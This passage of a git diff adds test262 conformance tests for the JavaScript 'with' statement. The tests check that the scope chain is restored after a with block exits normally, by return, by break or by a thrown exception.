+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.3_T1.js
+ * @description Declaring "with" statement within a function constructor, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+function __FACTORY(){
+ with(myObj){
+ p1 = 'x1';
+ }
+}
+
+var obj = new __FACTORY();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "x1"){
+ $ERROR('#2: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.3_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.3_T2.js
new file mode 100644
index 000000000..de6faab31
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.3_T2.js
@@ -0,0 +1,47 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.3_T2.js
+ * @description Declaring "with" statement within a function constructor, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+function __FACTORY(){
+ with(myObj){
+ p1 = 'x1';
+ return value;
+ }
+}
+
+var obj = new __FACTORY;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "x1"){
+ $ERROR('#2: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.3_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.3_T3.js
new file mode 100644
index 000000000..4a981756a
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.3_T3.js
@@ -0,0 +1,49 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.3_T3.js
+ * @description Declaring "with" statement within a function constructor, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+function __FACTORY(){
+ with(myObj){
+ return value;
+ p1 = 'x1';
+ }
+}
+
+var obj = new __FACTORY;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "a"){
+ $ERROR('#2: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.3_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.3_T4.js
new file mode 100644
index 000000000..3eeb2ed5e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.3_T4.js
@@ -0,0 +1,58 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement', the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.3_T4.js
+ * @description Declaring "with" statement within a function constructor, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+};
+
+function __FACTORY(){
+ with(myObj){
+ var p1 = 'x1';
+ throw value;
+ }
+}
+
+try {
+ var obj = new __FACTORY();
+} catch(e){
+ result = p1;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (result !== 1) {
+ $ERROR('#1: result === 1. Actual: result ==='+ result );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (p1 !== 1) {
+ $ERROR('#2: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (myObj.p1 !== "x1") {
+ $ERROR('#3: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.4_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.4_T1.js
new file mode 100644
index 000000000..1ef21667b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.4_T1.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.4_T1.js
+ * @description Using "with" statement within iteration statement, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+do {
+ with(myObj){
+ p1 = 'x1';
+ }
+} while(false);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "x1"){
+ $ERROR('#2: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.4_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.4_T2.js
new file mode 100644
index 000000000..801c592aa
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.4_T2.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.4_T2.js
+ * @description Using "with" statement within iteration statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+try {
+ do{
+ with(myObj){
+ p1 = 'x1';
+ throw value;
+ }
+ } while(false);
+} catch(e){
+ result = p1;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(result !== 1){
+ $ERROR('#1: result === 1. Actual: result ==='+ result );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(p1 !== 1){
+ $ERROR('#2: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.p1 !== "x1"){
+ $ERROR('#3: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.4_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.4_T3.js
new file mode 100644
index 000000000..56698024e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.4_T3.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.4_T3.js
+ * @description Using "with" statement within iteration statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+try {
+ do{
+ with(myObj){
+ throw value;
+ p1 = 'x1';
+ }
+ } while(false);
+} catch(e){
+ result = p1;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(result !== 1){
+ $ERROR('#1: result === 1. Actual: result ==='+ result );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(p1 !== 1){
+ $ERROR('#2: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.p1 !== "a"){
+ $ERROR('#3: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.4_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.4_T4.js
new file mode 100644
index 000000000..557666a9c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.4_T4.js
@@ -0,0 +1,47 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.4_T4.js
+ * @description Using "with" statement within iteration statement, leading to completion by break
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+do {
+ with(myObj){
+ p1 = 'x1';
+ break;
+ }
+} while(false);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "x1"){
+ $ERROR('#2: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.4_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.4_T5.js
new file mode 100644
index 000000000..06816be05
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.4_T5.js
@@ -0,0 +1,47 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.4_T5.js
+ * @description Using "with" statement within iteration statement, leading to completion by break
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+do {
+ with(myObj){
+ break;
+ p1 = 'x1';
+ }
+} while(false);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "a"){
+ $ERROR('#2: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.5_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.5_T1.js
new file mode 100644
index 000000000..b49962dc1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.5_T1.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.5_T1.js
+ * @description Using "with" statement within "for-in" statement, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+for(var prop in myObj){
+ with(myObj){
+ p1 = 'x1';
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "x1"){
+ $ERROR('#2: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.5_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.5_T2.js
new file mode 100644
index 000000000..e1ec1d611
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.5_T2.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.5_T2.js
+ * @description Using "with" statement within "for-in" statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+try {
+ for(var prop in myObj){
+ with(myObj){
+ p1 = 'x1';
+ throw value;
+ }
+ }
+} catch(e){
+ result = p1;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(result !== 1){
+ $ERROR('#1: result === 1. Actual: result ==='+ result );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(p1 !== 1){
+ $ERROR('#2: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.p1 !== "x1"){
+ $ERROR('#3: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.5_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.5_T3.js
new file mode 100644
index 000000000..d85bca3bf
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.5_T3.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.5_T3.js
+ * @description Using "with" statement within "for-in" statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+try {
+ for(var prop in myObj){
+ with(myObj){
+ throw value;
+ p1 = 'x1';
+ }
+ }
+} catch(e){
+ result = p1;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(result !== 1){
+ $ERROR('#1: result === 1. Actual: result ==='+ result );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(p1 !== 1){
+ $ERROR('#2: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.p1 !== "a"){
+ $ERROR('#3: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.5_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.5_T4.js
new file mode 100644
index 000000000..f85657a82
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.5_T4.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.5_T4.js
+ * @description Using "with" statement within "for-in" statement, leading to completion by break
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+for(var prop in myObj){
+ with(myObj){
+ p1 = 'x1';
+ break;
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "x1"){
+ $ERROR('#2: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.5_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.5_T5.js
new file mode 100644
index 000000000..78b526fc3
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.5_T5.js
@@ -0,0 +1,48 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.5_T5.js
+ * @description Using "with" statement within "for-in" statement, leading to completion by break
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+for(var prop in myObj){
+ with(myObj){
+ break;
+ p1 = 'x1';
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(myObj.p1 !== "a"){
+ $ERROR('#1: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.6_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.6_T1.js
new file mode 100644
index 000000000..4042e9b71
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.6_T1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.6_T1.js
+ * @description Using "with" statement within another "with" statement, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+var theirObj = {
+ p1: true,
+ value: 'theirObj_value',
+ valueOf : function(){return 'thr_valueOf';}
+}
+
+with(myObj){
+ with(theirObj){
+ p1 = 'x1';
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "a"){
+ $ERROR('#2: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(theirObj.p1 !== "x1"){
+ $ERROR('#3: theirObj.p1 === "x1". Actual: theirObj.p1 ==='+ theirObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.6_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.6_T2.js
new file mode 100644
index 000000000..db1d04dfb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.6_T2.js
@@ -0,0 +1,65 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.6_T2.js
+ * @description Using "with" statement within another "with" statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+var theirObj = {
+ p1: true,
+ value: 'theirObj_value',
+ valueOf : function(){return 'thr_valueOf';}
+}
+
+
+try {
+ with(myObj){
+ with(theirObj){
+ p1 = 'x1';
+ throw value;
+ }
+ }
+} catch(e){
+ result = p1;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "a"){
+ $ERROR('#2: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(theirObj.p1 !== "x1"){
+ $ERROR('#3: theirObj.p1 === "x1". Actual: theirObj.p1 ==='+ theirObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.6_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.6_T3.js
new file mode 100644
index 000000000..ade4cdc5f
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.6_T3.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.6_T3.js
+ * @description Using "with" statement within another "with" statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+var theirObj = {
+ p1: true,
+ value: 'theirObj_value',
+ valueOf : function(){return 'thr_valueOf';}
+}
+
+
+try {
+ with(myObj){
+ with(theirObj){
+ throw value;
+ p1 = 'x1';
+
+ }
+ }
+} catch(e){
+ result = p1;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "a"){
+ $ERROR('#2: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(theirObj.p1 !== true){
+ $ERROR('#3: theirObj.p1 === true. Actual: theirObj.p1 ==='+ theirObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.7_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.7_T1.js
new file mode 100644
index 000000000..b24f131a4
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.7_T1.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.7_T1.js
+ * @description Declaring and calling a function within "with" statement, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+with(myObj){
+ (function(){
+ p1 = 'x1';
+ })();
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "x1"){
+ $ERROR('#2: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.7_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.7_T2.js
new file mode 100644
index 000000000..7494fa7f3
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.7_T2.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.7_T2.js
+ * @description Declaring and calling a function within "with" statement, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+with(myObj){
+ result=(function(){
+ p1 = 'x1';
+ return value;
+ })();
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(result !== "myObj_value"){
+ $ERROR('#2: result === "myObj_value". Actual: result ==='+ result );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.p1 !== "x1"){
+ $ERROR('#3: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.7_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.7_T3.js
new file mode 100644
index 000000000..d3b72e03d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.7_T3.js
@@ -0,0 +1,53 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.7_T3.js
+ * @description Declaring and calling a function within "with" statement, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+with(myObj){
+ result=(function(){
+ return value;
+ p1 = 'x1';
+ })();
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(result !== 'myObj_value'){
+ $ERROR('#2: result === \'myObj_value\'. Actual: result ==='+ result );
+}
+//
